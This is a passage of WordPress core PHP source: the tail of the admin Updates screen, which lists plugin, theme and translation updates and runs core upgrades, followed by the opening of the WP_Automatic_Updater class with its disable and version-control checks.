		$auto_update_notice = ' | ' . wp_get_auto_update_message();
	}

	foreach ( (array) $plugins as $plugin_file => $plugin_data ) {
		$plugin_data = (object) _get_plugin_data_markup_translate( $plugin_file, (array) $plugin_data, false, true );

		$icon            = '<span class="dashicons dashicons-admin-plugins"></span>';
		$preferred_icons = array( 'svg', '2x', '1x', 'default' );
		foreach ( $preferred_icons as $preferred_icon ) {
			if ( ! empty( $plugin_data->update->icons[ $preferred_icon ] ) ) {
				$icon = '<img src="' . esc_url( $plugin_data->update->icons[ $preferred_icon ] ) . '" alt="" />';
				break;
			}
		}

		// Get plugin compat for running version of WordPress.
		if ( isset( $plugin_data->update->tested ) && version_compare( $plugin_data->update->tested, $cur_wp_version, '>=' ) ) {
			/* translators: %s: WordPress version. */
			$compat = '<br />' . sprintf( __( 'Compatibility with WordPress %s: 100%% (according to its author)' ), $cur_wp_version );
		} else {
			/* translators: %s: WordPress version. */
			$compat = '<br />' . sprintf( __( 'Compatibility with WordPress %s: Unknown' ), $cur_wp_version );
		}
		// Get plugin compat for updated version of WordPress.
		if ( $core_update_version ) {
			if ( isset( $plugin_data->update->tested ) && version_compare( $plugin_data->update->tested, $core_update_version, '>=' ) ) {
				/* translators: %s: WordPress version. */
				$compat .= '<br />' . sprintf( __( 'Compatibility with WordPress %s: 100%% (according to its author)' ), $core_update_version );
			} else {
				/* translators: %s: WordPress version. */
				$compat .= '<br />' . sprintf( __( 'Compatibility with WordPress %s: Unknown' ), $core_update_version );
			}
		}

		$requires_php   = isset( $plugin_data->update->requires_php ) ? $plugin_data->update->requires_php : null;
		$compatible_php = is_php_version_compatible( $requires_php );

		if ( ! $compatible_php && current_user_can( 'update_php' ) ) {
			$compat .= '<br />' . __( 'This update does not work with your version of PHP.' ) . '&nbsp;';
			$compat .= sprintf(
				/* translators: %s: URL to Update PHP page. */
				__( '<a href="%s">Learn more about updating PHP</a>.' ),
				esc_url( wp_get_update_php_url() )
			);

			$annotation = wp_get_update_php_annotation();

			if ( $annotation ) {
				$compat .= '</p><p><em>' . $annotation . '</em>';
			}
		}

		// Get the upgrade notice for the new plugin version.
		if ( isset( $plugin_data->update->upgrade_notice ) ) {
			$upgrade_notice = '<br />' . strip_tags( $plugin_data->update->upgrade_notice );
		} else {
			$upgrade_notice = '';
		}

		$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data->update->slug . '&section=changelog&TB_iframe=true&width=640&height=662' );
		$details     = sprintf(
			'<a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">%3$s</a>',
			esc_url( $details_url ),
			/* translators: 1: Plugin name, 2: Version number. */
			esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_data->Name, $plugin_data->update->new_version ) ),
			/* translators: %s: Plugin version. */
			sprintf( __( 'View version %s details.' ), $plugin_data->update->new_version )
		);

		$checkbox_id = 'checkbox_' . md5( $plugin_file );
		?>
	<tr>
		<td class="check-column">
			<?php if ( $compatible_php ) : ?>
				<input type="checkbox" name="checked[]" id="<?php echo $checkbox_id; ?>" value="<?php echo esc_attr( $plugin_file ); ?>" />
				<label for="<?php echo $checkbox_id; ?>">
					<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. %s: Plugin name. */
					printf( __( 'Select %s' ), $plugin_data->Name );
					?>
					</span>
				</label>
			<?php endif; ?>
		</td>
		<td class="plugin-title"><p>
			<?php echo $icon; ?>
			<strong><?php echo $plugin_data->Name; ?></strong>
			<?php
			printf(
				/* translators: 1: Plugin version, 2: New version. */
				__( 'You have version %1$s installed. Update to %2$s.' ),
				$plugin_data->Version,
				$plugin_data->update->new_version
			);

			echo ' ' . $details . $compat;

			if ( in_array( $plugin_file, $auto_updates, true ) ) {
				echo $auto_update_notice;
			}

			echo $upgrade_notice;
			?>
		</p></td>
	</tr>
			<?php
	}
	?>
	</tbody>

	<tfoot>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="plugins-select-all-2" /></td>
		<td class="manage-column"><label for="plugins-select-all-2"><?php _e( 'Select All' ); ?></label></td>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php esc_attr_e( 'Update Plugins' ); ?>" name="upgrade" /></p>
</form>
	<?php
}

/**
 * Display the upgrade themes form.
 *
 * @since 2.9.0
 */
function list_theme_updates() {
	$themes = get_theme_updates();
	if ( empty( $themes ) ) {
		echo '<h2>' . __( 'Themes' ) . '</h2>';
		echo '<p>' . __( 'Your themes are all up to date.' ) . '</p>';
		return;
	}

	$form_action = 'update-core.php?action=do-theme-upgrade';

	$themes_count = count( $themes );
	?>
<h2>
	<?php
	printf(
		'%s <span class="count">(%d)</span>',
		__( 'Themes' ),
		number_format_i18n( $themes_count )
	);
	?>
</h2>
<p><?php _e( 'The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.' ); ?></p>
<p>
	<?php
	printf(
		/* translators: %s: Link to documentation on child themes. */
		__( '<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href="%s">child themes</a> for modifications.' ),
		__( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' )
	);
	?>
</p>
<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-themes" class="upgrade">
	<?php wp_nonce_field( 'upgrade-core' ); ?>
<p><input id="upgrade-themes" class="button" type="submit" value="<?php esc_attr_e( 'Update Themes' ); ?>" name="upgrade" /></p>
<table class="widefat updates-table" id="update-themes-table">
	<thead>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></td>
		<td class="manage-column"><label for="themes-select-all"><?php _e( 'Select All' ); ?></label></td>
	</tr>
	</thead>

	<tbody class="plugins">
	<?php
	$auto_updates = array();
	if ( wp_is_auto_update_enabled_for_type( 'theme' ) ) {
		$auto_updates       = (array) get_site_option( 'auto_update_themes', array() );
		$auto_update_notice = ' | ' . wp_get_auto_update_message();
	}

	foreach ( $themes as $stylesheet => $theme ) {
		$requires_wp  = isset( $theme->update['requires'] ) ? $theme->update['requires'] : null;
		$requires_php = isset( $theme->update['requires_php'] ) ? $theme->update['requires_php'] : null;

		$compatible_wp  = is_wp_version_compatible( $requires_wp );
		$compatible_php = is_php_version_compatible( $requires_php );

		$compat = '';

		if ( ! $compatible_wp && ! $compatible_php ) {
			$compat .= '<br />' . __( 'This update does not work with your versions of WordPress and PHP.' ) . '&nbsp;';
			if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
				$compat .= sprintf(
					/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
					__( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
					esc_url( self_admin_url( 'update-core.php' ) ),
					esc_url( wp_get_update_php_url() )
				);

				$annotation = wp_get_update_php_annotation();

				if ( $annotation ) {
					$compat .= '</p><p><em>' . $annotation . '</em>';
				}
			} elseif ( current_user_can( 'update_core' ) ) {
				$compat .= sprintf(
					/* translators: %s: URL to WordPress Updates screen. */
					__( '<a href="%s">Please update WordPress</a>.' ),
					esc_url( self_admin_url( 'update-core.php' ) )
				);
			} elseif ( current_user_can( 'update_php' ) ) {
				$compat .= sprintf(
					/* translators: %s: URL to Update PHP page. */
					__( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);

				$annotation = wp_get_update_php_annotation();

				if ( $annotation ) {
					$compat .= '</p><p><em>' . $annotation . '</em>';
				}
			}
		} elseif ( ! $compatible_wp ) {
			$compat .= '<br />' . __( 'This update does not work with your version of WordPress.' ) . '&nbsp;';
			if ( current_user_can( 'update_core' ) ) {
				$compat .= sprintf(
					/* translators: %s: URL to WordPress Updates screen. */
					__( '<a href="%s">Please update WordPress</a>.' ),
					esc_url( self_admin_url( 'update-core.php' ) )
				);
			}
		} elseif ( ! $compatible_php ) {
			$compat .= '<br />' . __( 'This update does not work with your version of PHP.' ) . '&nbsp;';
			if ( current_user_can( 'update_php' ) ) {
				$compat .= sprintf(
					/* translators: %s: URL to Update PHP page. */
					__( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);

				$annotation = wp_get_update_php_annotation();

				if ( $annotation ) {
					$compat .= '</p><p><em>' . $annotation . '</em>';
				}
			}
		}

		$checkbox_id = 'checkbox_' . md5( $theme->get( 'Name' ) );
		?>
	<tr>
		<td class="check-column">
			<?php if ( $compatible_wp && $compatible_php ) : ?>
				<input type="checkbox" name="checked[]" id="<?php echo $checkbox_id; ?>" value="<?php echo esc_attr( $stylesheet ); ?>" />
				<label for="<?php echo $checkbox_id; ?>">
					<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. %s: Theme name. */
					printf( __( 'Select %s' ), $theme->display( 'Name' ) );
					?>
					</span>
				</label>
			<?php endif; ?>
		</td>
		<td class="plugin-title"><p>
			<img src="<?php echo esc_url( $theme->get_screenshot() . '?ver=' . $theme->version ); ?>" width="85" height="64" class="updates-table-screenshot" alt="" />
			<strong><?php echo $theme->display( 'Name' ); ?></strong>
			<?php
			printf(
				/* translators: 1: Theme version, 2: New version. */
				__( 'You have version %1$s installed. Update to %2$s.' ),
				$theme->display( 'Version' ),
				$theme->update['new_version']
			);

			echo ' ' . $compat;

			if ( in_array( $stylesheet, $auto_updates, true ) ) {
				echo $auto_update_notice;
			}
			?>
		</p></td>
	</tr>
			<?php
	}
	?>
	</tbody>

	<tfoot>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></td>
		<td class="manage-column"><label for="themes-select-all-2"><?php _e( 'Select All' ); ?></label></td>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php esc_attr_e( 'Update Themes' ); ?>" name="upgrade" /></p>
</form>
	<?php
}

/**
 * Display the update translations form.
 *
 * @since 3.7.0
 */
function list_translation_updates() {
	$updates = wp_get_translation_updates();
	if ( ! $updates ) {
		if ( 'en_US' !== get_locale() ) {
			echo '<h2>' . __( 'Translations' ) . '</h2>';
			echo '<p>' . __( 'Your translations are all up to date.' ) . '</p>';
		}
		return;
	}

	$form_action = 'update-core.php?action=do-translation-upgrade';
	?>
	<h2><?php _e( 'Translations' ); ?></h2>
	<form method="post" action="<?php echo esc_url( $form_action ); ?>" name="upgrade-translations" class="upgrade">
		<p><?php _e( 'New translations are available.' ); ?></p>
		<?php wp_nonce_field( 'upgrade-translations' ); ?>
		<p><input class="button" type="submit" value="<?php esc_attr_e( 'Update Translations' ); ?>" name="upgrade" /></p>
	</form>
	<?php
}

/**
 * Upgrades WordPress core display.
 *
 * @since 2.7.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param bool $reinstall
 */
function do_core_upgrade( $reinstall = false ) {
	global $wp_filesystem;

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	if ( $reinstall ) {
		$url = 'update-core.php?action=do-core-reinstall';
	} else {
		$url = 'update-core.php?action=do-core-upgrade';
	}
	$url = wp_nonce_url( $url, 'upgrade-core' );

	$version = isset( $_POST['version'] ) ? $_POST['version'] : false;
	$locale  = isset( $_POST['locale'] ) ? $_POST['locale'] : 'en_US';
	$update  = find_core_update( $version, $locale );
	if ( ! $update ) {
		return;
	}

	/*
	 * Allow relaxed file ownership writes for User-initiated upgrades when the API specifies
	 * that it's safe to do so. This only happens when there are no new files to create.
	 */
	$allow_relaxed_file_ownership = ! $reinstall && isset( $update->new_files ) && ! $update->new_files;

	?>
	<div class="wrap">
	<h1><?php _e( 'Update WordPress' ); ?></h1>
	<?php

	$credentials = request_filesystem_credentials( $url, '', false, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership );
	if ( false === $credentials ) {
		echo '</div>';
		return;
	}

	if ( ! WP_Filesystem( $credentials, ABSPATH, $allow_relaxed_file_ownership ) ) {
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $url, '', true, ABSPATH, array( 'version', 'locale' ), $allow_relaxed_file_ownership );
		echo '</div>';
		return;
	}

	if ( $wp_filesystem->errors->has_errors() ) {
		foreach ( $wp_filesystem->errors->get_error_messages() as $message ) {
			show_message( $message );
		}
		echo '</div>';
		return;
	}

	if ( $reinstall ) {
		$update->response = 'reinstall';
	}

	add_filter( 'update_feedback', 'show_message' );

	$upgrader = new Core_Upgrader();
	$result   = $upgrader->upgrade(
		$update,
		array(
			'allow_relaxed_file_ownership' => $allow_relaxed_file_ownership,
		)
	);

	if ( is_wp_error( $result ) ) {
		show_message( $result );
		if ( 'up_to_date' !== $result->get_error_code() && 'locked' !== $result->get_error_code() ) {
			show_message( __( 'Installation failed.' ) );
		}
		echo '</div>';
		return;
	}

	show_message( __( 'WordPress updated successfully.' ) );
	show_message(
		'<span class="hide-if-no-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.' ),
			$result,
			esc_url( self_admin_url( 'about.php?updated' ) )
		) . '</span>'
	);
	show_message(
		'<span class="hide-if-js">' . sprintf(
			/* translators: 1: WordPress version, 2: URL to About screen. */
			__( 'Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.' ),
			$result,
			esc_url( self_admin_url( 'about.php?updated' ) )
		) . '</span>'
	);
	?>
	</div>
	<script type="text/javascript">
	window.location = '<?php echo esc_url( self_admin_url( 'about.php?updated' ) ); ?>';
	</script>
	<?php
}

/**
 * Dismiss a core update.
 *
 * @since 2.7.0
 */
function do_dismiss_core_update() {
	$version = isset( $_POST['version'] ) ? $_POST['version'] : false;
	$locale  = isset( $_POST['locale'] ) ? $_POST['locale'] : 'en_US';
	$update  = find_core_update( $version, $locale );
	if ( ! $update ) {
		return;
	}
	dismiss_core_update( $update );
	wp_redirect( wp_nonce_url( 'update-core.php?action=upgrade-core', 'upgrade-core' ) );
	exit;
}

/**
 * Undismiss a core update.
 *
 * @since 2.7.0
 */
function do_undismiss_core_update() {
	$version = isset( $_POST['version'] ) ? $_POST['version'] : false;
	$locale  = isset( $_POST['locale'] ) ? $_POST['locale'] : 'en_US';
	$update  = find_core_update( $version, $locale );
	if ( ! $update ) {
		return;
	}
	undismiss_core_update( $version, $locale );
	wp_redirect( wp_nonce_url( 'update-core.php?action=upgrade-core', 'upgrade-core' ) );
	exit;
}

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'upgrade-core';

$upgrade_error = false;
if ( ( 'do-theme-upgrade' === $action || ( 'do-plugin-upgrade' === $action && ! isset( $_GET['plugins'] ) ) )
	&& ! isset( $_POST['checked'] ) ) {
	$upgrade_error = ( 'do-theme-upgrade' === $action ) ? 'themes' : 'plugins';
	$action        = 'upgrade-core';
}

$title       = __( 'WordPress Updates' );
$parent_file = 'index.php';

$updates_overview  = '<p>' . __( 'On this screen, you can update to the latest version of WordPress, as well as update your themes, plugins, and translations from the WordPress.org repositories.' ) . '</p>';
$updates_overview .= '<p>' . __( 'If an update is available, you&#8127;ll see a notification appear in the Toolbar and navigation menu.' ) . ' ' . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $updates_overview,
	)
);

$updates_howto  = '<p>' . __( '<strong>WordPress</strong> &mdash; Updating your WordPress installation is a simple one-click procedure: just <strong>click on the &#8220;Update now&#8221; button</strong> when you are notified that a new version is available.' ) . ' ' . __( 'In most cases, WordPress will automatically apply maintenance and security updates in the background for you.' ) . '</p>';
$updates_howto .= '<p>' . __( '<strong>Themes and Plugins</strong> &mdash; To update individual themes or plugins from this screen, use the checkboxes to make your selection, then <strong>click on the appropriate &#8220;Update&#8221; button</strong>. To update all of your themes or plugins at once, you can check the box at the top of the section to select all before clicking the update button.' ) . '</p>';

if ( 'en_US' !== get_locale() ) {
	$updates_howto .= '<p>' . __( '<strong>Translations</strong> &mdash; The files translating WordPress into your language are updated for you whenever any other updates occur. But if these files are out of date, you can <strong>click the &#8220;Update Translations&#8221;</strong> button.' ) . '</p>';
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'how-to-update',
		'title'   => __( 'How to Update' ),
		'content' => $updates_howto,
	)
);

$help_sidebar_autoupdates = '';

if ( ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) || ( current_user_can( 'update_plugins' ) && wp_is_auto_update_enabled_for_type( 'plugin' ) ) ) {
	$help_tab_autoupdates  = '<p>' . __( 'Auto-updates can be enabled or disabled for WordPress major versions and for each individual theme or plugin. Themes or plugins with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>';
	$help_tab_autoupdates .= '<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' => $help_tab_autoupdates,
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

$help_sidebar_rollback = '';

if ( current_user_can( 'update_themes' ) || current_user_can( 'update_plugins' ) ) {
	$rollback_help = '<p>' . __( 'This feature will create a temporary backup of a plugin or theme before it is upgraded. This backup is used to restore the plugin or theme back to its previous state if there is an error during the update process.' ) . '</p>';

	$rollback_help .= '<p>' . __( 'On systems with fewer resources, this may lead to server timeouts or resource limits being reached. If you encounter an issue during the update process, please create a support forum topic and reference <strong>Rollback</strong> in the issue title.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'rollback-plugins-themes',
			'title'   => __( 'Restore Plugin or Theme' ),
			'content' => $rollback_help,
		)
	);

	$help_sidebar_rollback = '<p>' . __( '<a href="https://wordpress.org/documentation/article/common-wordpress-errors/">Common Errors</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/dashboard-updates-screen/">Documentation on Updating WordPress</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' .
	$help_sidebar_rollback
);

if ( 'upgrade-core' === $action ) {
	// Force an update check when requested.
	$force_check = ! empty( $_GET['force-check'] );
	wp_version_check( array(), $force_check );

	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap">
	<h1><?php _e( 'WordPress Updates' ); ?></h1>
	<p><?php _e( 'Updates may take several minutes to complete. If there is no feedback after 5 minutes, or if there are errors please refer to the Help section above.' ); ?></p>

	<?php
	if ( $upgrade_error ) {
		if ( 'themes' === $upgrade_error ) {
			$theme_updates = get_theme_updates();
			if ( ! empty( $theme_updates ) ) {
				wp_admin_notice(
					__( 'Please select one or more themes to update.' ),
					array(
						'additional_classes' => array( 'error' ),
					)
				);
			}
		} else {
			$plugin_updates = get_plugin_updates();
			if ( ! empty( $plugin_updates ) ) {
				wp_admin_notice(
					__( 'Please select one or more plugins to update.' ),
					array(
						'additional_classes' => array( 'error' ),
					)
				);
			}
		}
	}

	$last_update_check = false;
	$current           = get_site_transient( 'update_core' );

	if ( $current && isset( $current->last_checked ) ) {
		$last_update_check = $current->last_checked + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS;
	}

	echo '<h2 class="wp-current-version">';
	/* translators: Current version of WordPress. */
	printf( __( 'Current version: %s' ), get_bloginfo( 'version' ) );
	echo '</h2>';

	echo '<p class="update-last-checked">';

	printf(
		/* translators: 1: Date, 2: Time. */
		__( 'Last checked on %1$s at %2$s.' ),
		/* translators: Last update date format. See https://www.php.net/manual/datetime.format.php */
		date_i18n( __( 'F j, Y' ), $last_update_check ),
		/* translators: Last update time format. See https://www.php.net/manual/datetime.format.php */
		date_i18n( __( 'g:i a T' ), $last_update_check )
	);
	echo ' <a href="' . esc_url( self_admin_url( 'update-core.php?force-check=1' ) ) . '">' . __( 'Check again.' ) . '</a>';
	echo '</p>';

	if ( current_user_can( 'update_core' ) ) {
		core_auto_updates_settings();
		core_upgrade_preamble();
	}
	if ( current_user_can( 'update_plugins' ) ) {
		list_plugin_updates();
	}
	if ( current_user_can( 'update_themes' ) ) {
		list_theme_updates();
	}
	if ( current_user_can( 'update_languages' ) ) {
		list_translation_updates();
	}

	/**
	 * Fires after the core, plugin, and theme update tables.
	 *
	 * @since 2.9.0
	 */
	do_action( 'core_upgrade_preamble' );
	echo '</div>';

	wp_localize_script(
		'updates',
		'_wpUpdatesItemCounts',
		array(
			'totals' => wp_get_update_data(),
		)
	);

	require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'do-core-upgrade' === $action || 'do-core-reinstall' === $action ) {

	if ( ! current_user_can( 'update_core' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
	}

	check_admin_referer( 'upgrade-core' );

	// Do the (un)dismiss actions before headers, so that they can redirect.
	if ( isset( $_POST['dismiss'] ) ) {
		do_dismiss_core_update();
	} elseif ( isset( $_POST['undismiss'] ) ) {
		do_undismiss_core_update();
	}

	require_once ABSPATH . 'wp-admin/admin-header.php';
	if ( 'do-core-reinstall' === $action ) {
		$reinstall = true;
	} else {
		$reinstall = false;
	}

	if ( isset( $_POST['upgrade'] ) ) {
		do_core_upgrade( $reinstall );
	}

	wp_localize_script(
		'updates',
		'_wpUpdatesItemCounts',
		array(
			'totals' => wp_get_update_data(),
		)
	);

	require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'do-plugin-upgrade' === $action ) {

	if ( ! current_user_can( 'update_plugins' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
	}

	check_admin_referer( 'upgrade-core' );

	if ( isset( $_GET['plugins'] ) ) {
		$plugins = explode( ',', $_GET['plugins'] );
	} elseif ( isset( $_POST['checked'] ) ) {
		$plugins = (array) $_POST['checked'];
	} else {
		wp_redirect( admin_url( 'update-core.php' ) );
		exit;
	}

	$url = 'update.php?action=update-selected&plugins=' . urlencode( implode( ',', $plugins ) );
	$url = wp_nonce_url( $url, 'bulk-update-plugins' );

	// Used in the HTML title tag.
	$title = __( 'Update Plugins' );

	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap">
		<h1><?php _e( 'Update Plugins' ); ?></h1>
		<iframe src="<?php echo $url; ?>" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="<?php esc_attr_e( 'Update progress' ); ?>"></iframe>
	</div>
	<?php

	wp_localize_script(
		'updates',
		'_wpUpdatesItemCounts',
		array(
			'totals' => wp_get_update_data(),
		)
	);

	require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'do-theme-upgrade' === $action ) {

	if ( ! current_user_can( 'update_themes' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
	}

	check_admin_referer( 'upgrade-core' );

	if ( isset( $_GET['themes'] ) ) {
		$themes = explode( ',', $_GET['themes'] );
	} elseif ( isset( $_POST['checked'] ) ) {
		$themes = (array) $_POST['checked'];
	} else {
		wp_redirect( admin_url( 'update-core.php' ) );
		exit;
	}

	$url = 'update.php?action=update-selected-themes&themes=' . urlencode( implode( ',', $themes ) );
	$url = wp_nonce_url( $url, 'bulk-update-themes' );

	// Used in the HTML title tag.
	$title = __( 'Update Themes' );

	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap">
		<h1><?php _e( 'Update Themes' ); ?></h1>
		<iframe src="<?php echo $url; ?>" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="<?php esc_attr_e( 'Update progress' ); ?>"></iframe>
	</div>
	<?php

	wp_localize_script(
		'updates',
		'_wpUpdatesItemCounts',
		array(
			'totals' => wp_get_update_data(),
		)
	);

	require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'do-translation-upgrade' === $action ) {

	if ( ! current_user_can( 'update_languages' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
	}

	check_admin_referer( 'upgrade-translations' );

	require_once ABSPATH . 'wp-admin/admin-header.php';
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

	$url     = 'update-core.php?action=do-translation-upgrade';
	$nonce   = 'upgrade-translations';
	$title   = __( 'Update Translations' );
	$context = WP_LANG_DIR;

	$upgrader = new Language_Pack_Upgrader( new Language_Pack_Upgrader_Skin( compact( 'url', 'nonce', 'title', 'context' ) ) );
	$result   = $upgrader->bulk_upgrade();

	wp_localize_script(
		'updates',
		'_wpUpdatesItemCounts',
		array(
			'totals' => wp_get_update_data(),
		)
	);

	require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'core-major-auto-updates-settings' === $action ) {

	if ( ! current_user_can( 'update_core' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site.' ) );
	}

	$redirect_url = self_admin_url( 'update-core.php' );

	if ( isset( $_GET['value'] ) ) {
		check_admin_referer( 'core-major-auto-updates-nonce' );

		if ( 'enable' === $_GET['value'] ) {
			update_site_option( 'auto_update_core_major', 'enabled' );
			$redirect_url = add_query_arg( 'core-major-auto-updates-saved', 'enabled', $redirect_url );
		} elseif ( 'disable' === $_GET['value'] ) {
			update_site_option( 'auto_update_core_major', 'disabled' );
			$redirect_url = add_query_arg( 'core-major-auto-updates-saved', 'disabled', $redirect_url );
		}
	}

	wp_redirect( $redirect_url );
	exit;
} else {
	/**
	 * Fires for each custom update action on the WordPress Updates screen.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the
	 * passed update action. The hook fires in lieu of all available
	 * default update actions.
	 *
	 * @since 3.2.0
	 */
	do_action( "update-core-custom_{$action}" );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}
<?php
/**
 * Upgrade API: WP_Automatic_Updater class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling automatic background updates.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class WP_Automatic_Updater {

	/**
	 * Tracks update results during processing.
	 *
	 * @var array
	 */
	protected $update_results = array();

	/**
	 * Determines whether the entire automatic updater is disabled.
	 *
	 * @since 3.7.0
	 *
	 * @return bool True if the automatic updater is disabled, false otherwise.
	 */
	public function is_disabled() {
		// Background updates are disabled if you don't want file changes.
		if ( ! wp_is_file_mod_allowed( 'automatic_updater' ) ) {
			return true;
		}

		if ( wp_installing() ) {
			return true;
		}

		// More fine grained control can be done through the WP_AUTO_UPDATE_CORE constant and filters.
		$disabled = defined( 'AUTOMATIC_UPDATER_DISABLED' ) && AUTOMATIC_UPDATER_DISABLED;

		/**
		 * Filters whether to entirely disable background updates.
		 *
		 * There are more fine-grained filters and controls for selective disabling.
		 * This filter parallels the AUTOMATIC_UPDATER_DISABLED constant in name.
		 *
		 * This also disables update notification emails. That may change in the future.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $disabled Whether the updater should be disabled.
		 */
		return apply_filters( 'automatic_updater_disabled', $disabled );
	}

	/**
	 * Checks whether access to a given directory is allowed.
	 *
	 * This is used when detecting version control checkouts. Takes into account
	 * the PHP `open_basedir` restrictions, so that WordPress does not try to access
	 * directories it is not allowed to.
	 *
	 * @since 6.2.0
	 *
	 * @param string $dir The directory to check.
	 * @return bool True if access to the directory is allowed, false otherwise.
	 */
	public function is_allowed_dir( $dir ) {
		if ( is_string( $dir ) ) {
			$dir = trim( $dir );
		}

		if ( ! is_string( $dir ) || '' === $dir ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: The "$dir" argument. */
					__( 'The "%s" argument must be a non-empty string.' ),
					'$dir'
				),
				'6.2.0'
			);

			return false;
		}

		$open_basedir = ini_get( 'open_basedir' );

		if ( empty( $open_basedir ) ) {
			return true;
		}

		$open_basedir_list = explode( PATH_SEPARATOR, $open_basedir );

		foreach ( $open_basedir_list as $basedir ) {
			if ( '' !== trim( $basedir ) && str_starts_with( $dir, $basedir ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks for version control checkouts.
	 *
	 * Checks for Subversion, Git, Mercurial, and Bazaar. It recursively looks up the
	 * filesystem to the top of the drive, erring on the side of detecting a VCS
	 * checkout somewhere.
	 *
	 * ABSPATH is always checked in addition to whatever `$context` is (which may be the
	 * wp-content directory, for example). The underlying assumption is that if you are
	 * using version control *anywhere*, then you should be making decisions for
	 * how things get updated.
	 *
	 * @since 3.7.0
	 *
	 * @param string $context The filesystem path to check, in addition to ABSPATH.
	 * @return bool True if a VCS checkout was discovered at `$context` or ABSPATH,
	 *              or anywhere higher. False otherwise.
	 */
	public function is_vcs_checkout( $context ) {
		$context_dirs = array( untrailingslashit( $context ) );
		if ( ABSPATH !== $context ) {
			$context_dirs[] = untrailingslashit( ABSPATH );
		}

		$vcs_dirs   = array( '.svn', '.git', '.hg', '.bzr' );
		$check_dirs = array();

		foreach ( $context_dirs as $context_dir ) {
			// Walk up from $context_dir to the root.
			do {
				$check_dirs[] = $context_dir;

				// Once we've hit '/' or 'C:\', we need to stop. dirname will keep returning the input here.
				if ( dirname( $context_dir ) === $context_dir ) {
					break;
				}

				// Continue one level at a time.
			} while ( $context_dir = dirname( $context_dir ) );
		}

		$check_dirs = array_unique( $check_dirs );
		$checkout   = false;

		// Search all directories we've found for evidence of version control.
		foreach ( $vcs_dirs as $vcs_dir ) {
			foreach ( $check_dirs as $check_dir ) {
				if ( ! $this->is_allowed_dir( $check_dir ) ) {
					continue;
				}

